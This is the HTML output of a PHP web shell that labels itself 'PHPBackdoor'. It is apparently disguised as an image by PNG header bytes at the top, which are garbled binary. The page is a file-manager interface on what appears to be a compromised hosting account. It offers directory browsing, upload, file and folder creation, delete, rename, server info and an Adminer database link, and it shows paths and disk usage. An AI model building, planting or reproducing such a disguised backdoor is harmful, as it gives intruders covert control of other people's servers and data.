‰PNG

   
IHDR   `   `   â˜w8   tEXtSoftware Adobe ImageReadyqÉe<  ¡IDATxÚìkp×€ÏJ–-ÙV-ÛXئbjR ¤	/¹0éÉÔð‡¶L;à4ig:÷_§:“þHÚÓ?mÒ“Ð&¦·Ó	µ
ƒM(1ز©-#ãZÛ²,Ëê½ë+YZ½vW»w¯­œ™;«Ç>´ç»çÜsÎÝÕrÀ°Œ|{µ-ªIïW‘e*i!Kj΂£Wœ¬ž#ǘ±¢í¨m&J·)¸{
ã@@Ÿ˜Uúv´¨%Š·Q<t#j§ð
ñd ¤t¬èWPÛNY鉤
µ#ZXGYñöų(m¨B æ ¢ø}ÄÍÌÁƒö~ 8•o#ŠßsS°EÔ«éš8•ÿ*q7˜û‚ì:5kNÅãðñ0	#ç“x„Ff
 åcWs`žôúdS½RÖÀ)¨üÃsØ×Ëv(‘as
(÷öæyèrĸ¤¡M3 Zùû~€ñ© ø¦
ÜC#ÀMzaÁLPlγ)›<meta name="viewport" content="width=device-width,height=device-height initial-scale=1">
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.7.1/css/all.css"/>
<style type="text/css">
    @import url('https://fonts.googleapis.com/css2?family=Open+Sans&display=swap');
    body {
        background: #e2e1e0;
        color: #292929;
        overflow: hidden;
        margin: 0;
        margin-top: 10px;
    }
    * {
        font-family: 'Open Sans', sans-serif;
    }
    .count {
        font-size:10px;

        z-index: 99999;
        text-align: center;
        padding:10px;
        padding-left:15px;
    }
    .count span {
        font-family: 'Open Sans', sans-serif;

    }
    .count select {
        padding:7px;
        width:100%;
        border-radius: 5px;
        border: 1px solid #ebebeb;
        background: #ebebeb;
        outline: none;
    }
    .all {
        display: inline-block;
        width:150px;
        text-align: left;
    }
    .select {
        width:270px;
        display: inline-block;
    }
    .total {
        width:150px;
        text-align: right;
        display: inline-block;
    }
    .back .mobile {
        padding-left:25px;
        width:98%;
        padding-bottom:10px;
    }
    .storage {
        margin-top:7px;
        box-shadow: 0px 2px 2px 0px #e0e0e0;
        padding:25px;
        padding-bottom:10px;
    }
    .storage span {
        color: #666;
    }
    .storage span.title {
        color: #000;
        font-size: 23px;
        font-weight:bold;
    }
    .storage span:nth-child(7),
    .storage span:nth-child(5),
    .storage span:nth-child(6),
    .storage span:nth-child(4) {
        font-size: 10px;
    }
    .storage span:nth-child(3) {
        font-size: 10px;
    }
    .back {
        font-weight: bold;
        padding:20px;
        font-size: 20px;
        padding-bottom: 10px;
    }
    .back input[type=text] {
        float: right;
        padding:7px;
        margin-right:20px;
        width:100%;
        border-radius: 5px;
        border: 1px solid #ebebeb;
        background: #ebebeb;
        outline: none;
    }
    .hidden {
        display: none;
    }
    .back button {
        background: none;
        font-size: 23px;
        border: none;
        margin-top:-10px;
        outline: none;
        float: right;
    }
    .back button:hover {
        cursor: pointer;
    }
    .back .dirname {
        position: absolute;
        margin-top:-7px;
        max-width:510px;
        display: inline-block;
        margin-left: 20px;
        font-size: 23px;
        overflow: hidden;
        white-space: nowrap;
        text-overflow: ellipsis;
    }
    .back a {
        background: #fff;
        color: #000;
        font-weight: bold;
        border-radius:10px;
        padding: 5px;
        padding-left: 7px;
        padding-right: 10px;
    }
    .files {
        box-shadow: 0 10px 20px rgba(0,0,0,0.19), 0 6px 6px rgba(0,0,0,0.23);
        overflow: hidden;
        text-align: left;
        border-radius:10px;
        height:625px;
        background: #fff;
        width:50%;
    }
    .table {
        overflow-y: auto;
        padding-bottom:20px;
        padding-top:20px;
        padding-left:20px;
        padding-right: 20px;
        overflow-x: hidden;
        height:420px;

    }
    .rewrite-success {
        background: #6dc900;
        padding:5px;
        color: #fff;
        border-radius: 7px;
        margin-bottom:5px;
    }
    .rewrite-failed {
        background: #c90606;
        padding:5px;
        color: #fff;
        border-radius: 7px;
        margin-bottom:5px;
    }
    .rewrite-success span {
        float: right;
    }
    .rewrite-failed span {
        float: right;
    }
    .rewrite {
        height:555px;
        overflow: auto;
    }
    .adminer {
        text-align: center;
        padding-left: 25px;
        padding-right: 25px;
        display: block;
    }
    .adminer span {
        font-size:20px;
    }
    .adminer a {
        background: #53c41b;
        padding:10px;
        padding-left:50px;
        padding-right: 50px;
        border-radius:7px;
        color: #fff;
    }
    .rename .rename_name {
        max-width:500px;
        overflow: hidden;
        white-space: nowrap;
        text-overflow: ellipsis;
    }
    .edit .editname {
        max-width:500px;
        overflow: hidden;
        white-space: nowrap;
        text-overflow: ellipsis;
    }
    .info,
    .config,
    .rewrite,
    .addfile,
    .adddir,
    .upload,
    .rename,
    .edit {
        padding-left: 25px;
        padding-right: 25px;
    }
    .info table {
        width:100%;
        overflow: hidden;
        word-break:break-all;
    }
    .info table td.info {
        width:125px;
    }
    .info .engine {
        width:auto;
        overflow-x: auto;
    }
    .info table td,
    .config table td,
    .rewrite table td,
    .addfile table td,
    .adddir table td,
    .upload table td,
    .rename table td,
    .edit table td {
        padding-top:10px;
        padding-bottom: 10px;
    }
    .rename button,
    .edit button {
        border-radius: 5px;
        font-size: 15px;
        background: #e7f3ff;
        font-weight: bold;
        border: 1px solid #e7f3ff;
        color: #1889f5;
        outline: none;
        padding: 5px;
        padding-left:10px;
        padding-right: 10px;
    }
    .rename button:hover,
    .edit button:hover {
        cursor: pointer;
    }
    .config input[type=submit],
    .rewrite input[type=submit],
    .addfile input[type=submit],
    .adddir input[type=submit],
    .upload input[type=submit],
    .rename input[type=submit],
    .edit input[type=submit] {
        width: 100%;
        border-radius: 5px;
        font-size: 18px;
        background: #e7f3ff;
        outline: none;
        border: 1px solid #e7f3ff;
        color: #1889f5;
        font-weight: bold;
        padding: 5px;
    }
    textarea {
        width: 100%;
        height:270px;
        border-radius: 10px;
        border: 1px solid #ebebeb;
        background: #ebebeb;
        outline: none;
        padding:20px;
        resize: none;
    }
    input[type=text] {
        padding:10px;
        width:100%;
        border-radius: 5px;
        border: 1px solid #ebebeb;
        background: #ebebeb;
        outline: none;
    }
    table {
        width: 100%;
        border-spacing: 0;
    }
    td {
        border-radius:5px;
    }
    table td.border1 {
        border-top-left-radius: 5px;
        border-top-right-radius:0px;
        border-bottom-left-radius: 5px;
        border-bottom-right-radius:0px;
    }
    table td.border2 {
        border-top-left-radius: 0px;
        border-top-right-radius:5px;
        border-bottom-left-radius: 0px;
        border-bottom-right-radius:5px;
    }
    .hover {
        transition: all 0.35s;
    }
    .hover:hover {
        background: #efefef;
    }
    .block {
        clear: both;
        min-height: 50px;
        border-top: solid 1px #ECE9E9;
    }
    .block:first-child {
        border: none;
    }
    .block .img img {
        width: 50px;
        height: 50px;
        display: block;
        float: left;
        margin-right: 10px;
    }
    .block .name {
        display: inline-block;
        max-width:480px;
        overflow: hidden;
        white-space: nowrap;
        text-overflow: ellipsis;
    }
    .block .date {
        margin-top: 4px;
        font-size: 70%;
        color: #666;
    }
    .block .date .dir-size,
    .block .date .file-size {
        min-width:90px;
        display: inline-block;
    }
    .block .date .dir-perms,
    .block .date .file-perms {
        min-width:100px;
        display: inline-block;
    }
    .block .date .dir-time,
    .block .date .file-time {
        min-width:150px;
        display: inline-block;
    }
    .block .date .dir-owner,
    .block .date .file-owner {
        min-width:100px;
        display: inline-block;
    }
    .block a {
        border-radius:5px;
        display: block;
        color: #292929;
        padding-top: 8px;
        padding-bottom: 13px;
        padding-left:5px;
        transition: all 0.35s;
    }
    .block a:hover {
        text-decoration: none;
    }
    a {
        color: #000;
        text-decoration: none;
    }
    nav {
        float: right;
        position: relative;
    }
    .dropdown-toggle {
        border: 1px solid #ebebeb;
        background: #ebebeb;
        outline: none;
        padding: .5em 1em;
        border-radius: .3em;
        transition: all 0.35s;
    }
    .dropdown-toggle:hover {
        cursor: pointer;
        background: #d6d6d6;
    }
    .toggle {
        padding:10px;
        border: 1px solid #ebebeb;
        background: #ebebeb;
        margin-bottom: 3px;
    }
    ul.dropdown {
        display: none;
        position:absolute;
        z-index: 5;
        margin-top: .5em;
        background: #fff;
        box-shadow: 0 10px 20px rgba(0,0,0,0.19), 0 6px 6px rgba(0,0,0,0.23);
        margin-left:-190px;
        margin-top: -24px;
        min-width: 12em;
        padding: 0;
        border-radius:7px;
    }
    ul.dropdown li {
        list-style-type: none;
    }
    ul.dropdown li button {
        text-align: left;
        outline: none;
        color: #000;
        width: 100%;
        font-size:18px;
        background: none;
        border: none;
        text-decoration: none;
        padding: .5em 1em;
        display: block;
    }
    ul.dropdown li:nth-child(1) button:nth-child(1) {
        border-radius:7px 7px 0px 0px;
    }
    ul.dropdown li a {
        text-align: left;
        outline: none;
        color: #000;
        border-radius:7px 7px 0px 0px;
        width: 81%;
        font-size:18px;
        background: none;
        border: none;
        text-decoration: none;
        padding: .5em 1em;
        display: block;
    }
    ul.dropdown li a:hover,
    ul.dropdown li button:hover {
        cursor: pointer;
        text-decoration: none;
        background: #efefef;
    }

    ul.dropdown-tool {
        background: #fff;
        display: none;
        position: absolute;
        z-index: 5;
        box-shadow: 0 10px 20px rgba(0,0,0,0.19), 0 6px 6px rgba(0,0,0,0.23);
        margin-left:310px;
        margin-top: .5em;
        min-width: 10em;
        padding-top:10px;
        padding-left:0;
        border-radius:7px;
    }
    ul.dropdown-tool li {
        list-style-type: none;
    }
    ul.dropdown-tool li button {
        text-align: left;
        outline: none;
        color: #000;
        width: 100%;
        font-size:18px;
        background: none;
        font-weight:bold;
        border: none;
        text-decoration: none;
        padding: .5em 1em;
        display: block;
    }
    ul.dropdown-tool li button div.icon {
        width:35px;
        display: inline-block;
        text-align: left;
    }
    ul.dropdown-tool li button div.icon a {
        margin-right:-30px;
        background: none;
    }
    ul.dropdown-tool li button div.font {
        display: inline-block;
    }
    ul.dropdown-tool li:nth-child(1) button:nth-child(1) {
        border-radius:7px 7px 0px 0px;
    }
    ul.dropdown-tool li:nth-child(2) button:nth-child(2) {
        border-radius:0px 0px 7px 7px;
        background: red;
    }
    ul.dropdown-tool li button:hover {
        cursor: pointer;
        display: inline-block;
        text-decoration: none;
        background: #e7f3ff;
        color: #1889f5;
    }
    ::-webkit-scrollbar {
        width: 12px;
    }
    ::-webkit-scrollbar-track {
        background: #fff;
    }
    ::-webkit-scrollbar-thumb {
        background: #ebebeb;
        border-radius: 20px;
        border:3px solid #fff;
    }
    ::-webkit-scrollbar-thumb:hover {
        background: #dfeaf5;
    }
    .jqx-alert  {
        margin-top: -200px;
        position: absolute;
        overflow: hidden;
        border-radius:10px;
        box-shadow: 0 0 3px rgba(0,0,0,0.16), 0 3px 6px rgba(0,0,0,0.23);
        z-index: 99999;
     }
    .jqx-alert-header   {
        font-weight: bold;
        min-width:300px;
        outline: none;
        border-radius:10px 10px 0px 0px;
        overflow: hidden;
        padding: 10px;
        padding-left:20px;
        font-size:25px;
        white-space: nowrap;
        overflow: hidden;
        background-color:#fff;
    }
    .jqx-alert-content   {
        border-radius:0px 0px 10px 10px;
        outline: none;
        height:100px;
        overflow: auto;
        height:auto;
        max-width:300px;
        text-align: left;
        background-color: #fff;
        word-break: break-all;
        padding: 20px;
        padding-top:10px;
        border: 1px solid #fff;
        border-top: none;
    }
    #alert_button {
        font-weight: bold;
        color: #292929;
        border: 1px solid #ebebeb;
        background: #ebebeb;
        border-radius:5px;
        margin-top: 45px;
        outline: none;
        width:100%;
        padding: 7px;
    }
    .blocker {
        position: fixed;
        top: 0; right: 0; bottom: 0; left: 0;
        width: 100%; height: 100%;
        overflow: auto;
        z-index: 1;
        padding: 20px;
        box-sizing: border-box;
        text-align: center;
    }
    .blocker:before{
        content: "";
        display: inline-block;
        height: 100%;
        vertical-align: middle;
        margin-right: -0.05em;
    }
    .blocker.behind {
        background-color: transparent;
    }
    .modal-rename {
        display: none;
        vertical-align: middle;
        position: relative;
        z-index: 2;
        max-width:500px;
        box-sizing: border-box;
        background: #fff;
        -webkit-border-radius: 7px;
        -moz-border-radius: 7px;
        -o-border-radius: 7px;
        -ms-border-radius: 7px;
        border-radius: 7px;
        box-shadow: 0 3px 6px rgba(0,0,0,0.16), 0 3px 6px rgba(0,0,0,0.23);
        text-align: left;
    }
    .modal-rename input,
    .modal-rename button {
        margin-bottom:3px;
        width:100%;
    }
    .modal {
        display: none;
        vertical-align: middle;
        position: relative;
        z-index: 2;
        min-width:350px;
        max-width:500px;
        box-sizing: border-box;
        background: #fff;
        -webkit-border-radius: 7px;
        -moz-border-radius: 7px;
        -o-border-radius: 7px;
        -ms-border-radius: 7px;
        border-radius: 7px;
        box-shadow: 0 3px 6px rgba(0,0,0,0.16), 0 3px 6px rgba(0,0,0,0.23);
        text-align: left;
    }
    .modal video {
        width:100%;
        outline: none;
        border-radius: 7px;
    }
    .modal audio {

        outline: none;
        background: #fff;
    }
    .modal img {
        border-radius: 7px;
        width:100%;
    }
    .modal a.close-modal {
        position:absolute;
        top:-12.5px;
        right:-12.5px;
        display:block;
        width:30px;
        height:30px;
        text-indent:-9999px;
        background-size:contain;
        background-repeat:no-repeat;
        background-position:center center;
        background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADwAAAA8CAYAAAA6/NlyAAAAAXNSR0IArs4c6QAAA3hJREFUaAXlm8+K00Acx7MiCIJH/yw+gA9g25O49SL4AO3Bp1jw5NvktC+wF88qevK4BU97EmzxUBCEolK/n5gp3W6TTJPfpNPNF37MNsl85/vN/DaTmU6PknC4K+pniqeKJ3k8UnkvDxXJzzy+q/yaxxeVHxW/FNHjgRSeKt4rFoplzaAuHHDBGR2eS9G54reirsmienDCTRt7xwsp+KAoEmt9nLaGitZxrBbPFNaGfPloGw2t4JVamSt8xYW6Dg1oCYo3Yv+rCGViV160oMkcd8SYKnYV1Nb1aEOjCe6L5ZOiLfF120EjWhuBu3YIZt1NQmujnk5F4MgOpURzLfAwOBSTmzp3fpDxuI/pabxpqOoz2r2HLAb0GMbZKlNV5/Hg9XJypguryA7lPF5KMdTZQzHjqxNPhWhzIuAruOl1eNqKEx1tSh5rfbxdw7mOxCq4qS68ZTjKS1YVvilu559vWvFHhh4rZrdyZ69Vmpgdj8fJbDZLJpNJ0uv1cnr/gjrUhQMuI+ANjyuwftQ0bbL6Erp0mM/ny8Fg4M3LtdRxgMtKl3jwmIHVxYXChFy94/Rmpa/pTbNUhstKV+4Rr8lLQ9KlUvJKLyG8yvQ2s9SBy1Jb7jV5a0yapfF6apaZLjLLcWtd4sNrmJUMHyM+1xibTjH82Zh01TNlhsrOhdKTe00uAzZQmN6+KW+sDa/JD2PSVQ873m29yf+1Q9VDzfEYlHi1G5LKBBWZbtEsHbFwb1oYDwr1ZiF/2bnCSg1OBE/pfr9/bWx26UxJL3ONPISOLKUvQza0LZUxSKyjpdTGa/vDEr25rddbMM0Q3O6Lx3rqFvU+x6UrRKQY7tyrZecmD9FODy8uLizTmilwNj0kraNcAJhOp5aGVwsAGD5VmJBrWWbJSgWT9zrzWepQF47RaGSiKfeGx6Szi3gzmX/HHbihwBser4B9UJYpFBNX4R6vTn3VQnez0SymnrHQMsRYGTr1dSk34ljRqS/EMd2pLQ8YBp3a1PLfcqCpo8gtHkZFHKkTX6fs3MY0blKnth66rKCnU0VRGu37ONrQaA4eZDFtWAu2fXj9zjFkxTBOo8F7t926gTp/83Kyzzcy2kZD6xiqxTYnHLRFm3vHiRSwNSjkz3hoIzo8lCKWUlg/YtGs7tObunDAZfpDLbfEI15zsEIY3U/x/gHHc/G1zltnAgAAAABJRU5ErkJggg==')
    }
    .close {
        position: absolute;
        top: -20px;
        right: -20px;
        border:none;
        box-shadow: 0 0 3px rgba(0,0,0,0.16), 0 3px 6px rgba(0,0,0,0.23);
        border-radius: 50%;
        background-color: #FFF;
        color: #F08;
        padding: 10px 18px;
        font-size: 1em;
        outline: none;
        cursor: pointer;
        transition: all 0.3s ease-in-out;
    }
    .close:hover {
        background-color: #F08;
        color: #FFF;
    }
    .box > h2 {
        text-align: left;
    }
    @media (min-width: 320px) and (max-width: 480px) {
        body {
            background: #fff;
            margin: 0;
        }
        ::-webkit-scrollbar {
            display: none;
        }
        .mobile {
            padding-left:25px;
            width:98%;
        }
        .table {
            height:440px;
        }
        .files {
            box-shadow: none;
            border-radius:0;
            width:100%;
            height:650px;
        }
        .block .date .dir-size,
        .block .date .file-size {
            min-width:55px;
            display: inline-block;
        }
        .block .date .dir-perms,
        .block .date .file-perms {
            min-width:70px;
            display: inline-block;
        }
        .block .date .dir-time,
        .block .date .file-time {
            display: none;
        }
        .block .date .dir-owner,
        .block .date .file-owner {
            min-width:70px;
            text-align: center;
            display: inline-block;
        }
        .back input[type=text] {
            width: 100%;
        }
        .group {
            display: none;
        }
        .block .name {
            max-width:200px;
            overflow: hidden;
            white-space: nowrap;
            text-overflow: ellipsis;
        }
        .back .dirname {
            max-width:225px;
            overflow: hidden;
            white-space: nowrap;
            text-overflow: ellipsis;
        }
        ul.dropdown-tool {
            background: #fff;
            margin-left:115px;
            margin-top: 8px;
            min-width: 10em;
        }
        .all {
            width:100px;
        }
        .select {
            width:100px;
        }
        .total {
            width:100px;
        }
        .rename .rename_name {
            max-width:220px;
        }
        .edit .editname {
            max-width:220px;
        }
    }
</style>
<script src="https://code.jquery.com/jquery-3.3.1.min.js"></script>
<script type="text/javascript" src="http://code.jquery.com/jquery-1.7.2.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.0.0/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery-modal/0.9.1/jquery.modal.min.js"></script>
<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script>
<script type="text/javascript">
    $(function() {
        $('.dropdown-toggle').click(function(){
            $(this).next('.dropdown').toggle();
        });
        $(document).click(function(e) {
            var target = e.target;
            if (!$(target).is('.dropdown-toggle') && !$(target).parents().is('.dropdown-toggle')) {
                $('.dropdown').hide();
            }
        });
    });
</script>
<script type="text/javascript">
    $(function() {
        $('.dropdown-toggle').click(function(){
            $(this).next('.dropdown-tool').toggle();
        });
        $(document).click(function(e) {
            var target = e.target;
            if (!$(target).is('.dropdown-toggle') && !$(target).parents().is('.dropdown-toggle')) {
                $('.dropdown-tool').hide();
            }
        });
    });
    var max_fields = 10;
    var x = 1;
    $(document).on('click', '#add_input', function(e){
        if(x < max_fields){
            x++;
            $('#output').append('<div id=\"out\"><input type=\"text\" name=\"filename[]\"><a href="#" class=\"remove\">remove</a></div></div></div>');
        }
        $('#output').on("click",".remove", function(e){
            e.preventDefault(); $(this).parent('#out').remove(); x--;
            repeat();
        })
    });
</script>
<script>
function filterTable() {
    var input, filter, table, tr, td, i;
    input = document.getElementById("Input");
    filter = input.value.toUpperCase();
    table = document.getElementById("myTable");
    tr = table.getElementsByTagName("tr");
    for (i = 0; i < tr.length; i++) {
        td = tr[i].getElementsByTagName("td")[0];
        if (td) {
            if (td.innerHTML.toUpperCase().indexOf(filter) > -1) {
                tr[i].style.display = "";
            } else {
                tr[i].style.display = "none";
            }
        }
    }
}
</script>
<script type="text/javascript">
 $(document).ready(function() {
     $(".open").on("click", function() {
       $(".container").fadeIn();
       $(".open").fadeOut();
     });

     $(".close").on("click", function() {
       $(".container").fadeOut();
       $(".open").fadeIn();
     });
 });
</script>
<script type="text/javascript">
    jqxAlert = {
        top: 0,
        left: 0,
        overlayOpacity: 0.2,
        overlayColor: 'rgba(0, 0, 0, 0.3)',
        alert: function (message, title) {
            if (title == null) title = 'Alert !';
            jqxAlert._show(title, message);
        },
        _show: function (title, msg) {
            jqxAlert._hide();
            jqxAlert._handleOverlay('show');
            $("BODY").append(
                      '<div class="jqx-alert" id="alert_container">' +
                      '<div id="alert_title"></div>' +
                      '<div id="alert_content">' +
                      '<div id="message"></div>' +
                      '<input type="button" value="OK" id="alert_button"/>' +
                      '</div>' +
                      '</div>');
            $("#alert_title").text(title);
            $("#alert_title").addClass('jqx-alert-header');
            $("#alert_content").addClass('jqx-alert-content');
            $("#message").text(msg);
            $("#alert_button").click(function () {
                jqxAlert._hide();
            });
            jqxAlert._setPosition();
        },
        _hide: function () {
            $("#alert_container").remove();
            jqxAlert._handleOverlay('hide');
        },
        _handleOverlay: function (status) {
            switch (status) {
                case 'show':
                jqxAlert._handleOverlay('hide');
                $("BODY").append('<div id="alert_overlay"></div>');
                $("#alert_overlay").css({
                    position: 'absolute',
                    zIndex: 99998,
                    top: '0px',
                    left: '0px',
                    width: '100%',
                    height: $(document).height(),
                    background: jqxAlert.overlayColor,
                    opacity: jqxAlert.overlayOpacity
                });
                break;
           case 'hide':
                $("#alert_overlay").remove();
                break;
            }
        },
        _setPosition: function () {
            var top = (($(window).height() / 2) - ($("#alert_container").outerHeight() / 2)) + jqxAlert.top;
            var left = (($(window).width() / 2) - ($("#alert_container").outerWidth() / 2)) + jqxAlert.left;
            if (top < 0) {
                top = 0;
            }
            if (left < 0) {
                left = 0;
            }
            $("#alert_container").css({
                top: top + 'px',
                left: left + 'px'
            });
            $("#alert_overlay").height($(document).height());
        }
    }
</script>
<center>
<div class="files">
        <div class="back">
        <a href="?x=/opt/alt/tests">
            <i class="fa fa-arrow-left" aria-hidden="true"></i>
        </a>
        <div class="dirname">
            <font color='red'>alt-php56-pecl-rar_4.2.0-3.el8</font>        </div>
        <button class="dropdown-toggle toggle" title="Menu">
            <i class="fas fa-bars"></i>
        </button>
        <ul class="dropdown-tool">
            <form method="post" action="?x=/opt/alt/tests/alt-php56-pecl-rar_4.2.0-3.el8">
                <li>
                    <button onclick="location.href='?x='" type="button">
                        <div class="icon">
                            <a><i class="fas fa-home"></i></a>
                        </div>
                        <div class="font">
                            Home
                        </div>
                    </button>
                </li>
                <li>
                    <button onclick="location.href='?x=/home/hehafivq590k/public_html'" type="button">
                        <div class="icon">
                            <a><i class="fas fa-reply-all"></i></a>
                        </div>
                        <div class="font">
                            Home root
                        </div>
                    </button>
                </li>
                <li>
                    <button name="action" value="info">
                        <div class="icon">
                            <a><i class="fas fa-info-circle"></i></a>
                        </div>
                        <div class="font">
                            Server info
                        </div>
                    </button>
                </li>
                <li>
                    <button name="action" value="adminer">
                        <div class="icon">
                            <a><i class="fas fa-user"></i></a>
                        </div>
                        <div class="font">
                            Adminer
                        </div>
                    </button>
                </li>
                <li>
                    <button name="action" value="upload">
                        <div class="icon">
                            <a><i class="fa fa-upload" aria-hidden="true"></i></a>
                        </div>
                        <div class="font">
                            Upload
                        </div>
                    </button>
                </li>
                <li>
                    <button name="action" value="addfile">
                        <div class="icon">
                            <a><i class="fas fa-file-medical"></i></a>
                        </div>
                        <div class="font">
                            Add file
                        </div>
                    </button>
                </li>
                <li>
                    <button name="action" value="adddir">
                        <div class="icon">
                            <a><i class="fas fa-folder-plus"></i></a>
                        </div>
                        <div class="font">
                            Add folder
                        </div>
                    </button>
                </li>
                <li>
                    <button type="button" onclick="$(document).ready(function () {
                        jqxAlert.alert('maintenance');
                    })">
                        <div class="icon">
                            <a><i class="fa fa-info-circle" aria-hidden="true"></i></a>
                        </div>
                        <div class="font">
                            About me
                        </div>
                    </button>
                </li>
                <li>
                    <button>
                        <div class="icon">
                            <a><i class="fa fa-power-off" aria-hidden="true"></i></a>
                        </div>
                        <div class="font">
                            Logout
                        </div>
                    </button>
                </li>
                <input type="hidden" name="file" value="">
            </form>
        </ul>
        <div class="mobile">
            <input class="" type="text" id="Input" onkeyup="filterTable()" placeholder="Search some files..." title="Type in a name">
        </div>
    </div>
        <div class="storage">
        <span class="title">
            PHPBackdoor
        </span>
        <br><span>Total : 1.97 TB</span> <span>|</span>
        <span>Free : 205.2 GB</span> <span>|</span>
        <span>Used : 1.77 TB</span>
    </div>
    <div class="table">
    <table id="myTable">
                    <tr>
                <td class="border1 hover">
                    <div class="block">
                        <a href="?x=/opt/alt/tests/alt-php56-pecl-rar_4.2.0-3.el8/tests" title="tests">
                            <div class="img">
                                <img src="https://image.flaticon.com/icons/svg/715/715676.svg">
                            </div>
                            <div class="name">
                                tests                                <div class="date">
                                    <div class="dir-size">
                                        140 items                                    </div>
                                    <div class="dir-perms">
                                        <font color='red'>drwxr-xr-x</font>                                    </div>
                                    <div class="dir-time">
                                        06 Mar 2026 - 16:04 PM                                    </div>
                                    <div class="dir-owner">
                                        root<span class='group'>/root</span>                                    </div>
                                </div>
                            </div>
                        </a>
                    </div>
                </td>
                <td class="border2">
                    <nav>
                        <a class="dropdown-toggle" title="Menu">
                            <span style="color: #787878;">
                                <i class="fa fa-ellipsis-v" aria-hidden="true"></i>
                            </span>
                        </a>
                        <ul class="dropdown">
                            <form method="post" action="?x=/opt/alt/tests/alt-php56-pecl-rar_4.2.0-3.el8">
                                <li>
                                    <button name="action" value="delete">Delete</button>
                                </li>
                                <li>
                                    <a href="#renametests" rel="modal:open">Rename</a>
                                </li>
                                <input type="hidden" name="file" value="/opt/alt/tests/alt-php56-pecl-rar_4.2.0-3.el8/tests">
                            </form>
                        </ul>
                    </nav>
                    <!-- Action Rename -->
                    <div id="renametests" class="modal modal-rename">
                        <div class="rename">
                            <h2>Rename</h2>
                            <form method="post" action="?x=/opt/alt/tests/alt-php56-pecl-rar_4.2.0-3.el8">
                                <div>
                                    <input type="text" name="newname" value="tests">
                                </div>
                                <div>
                                    <button name="action" value="rename">Rename</button>
                                </div>
                                <input type="hidden" name="file" value="/opt/alt/tests/alt-php56-pecl-rar_4.2.0-3.el8/tests">
                            </form>
                        </div>
                    </div>
                </td>
            </tr>
            </table>
    </div>
</div>
</center>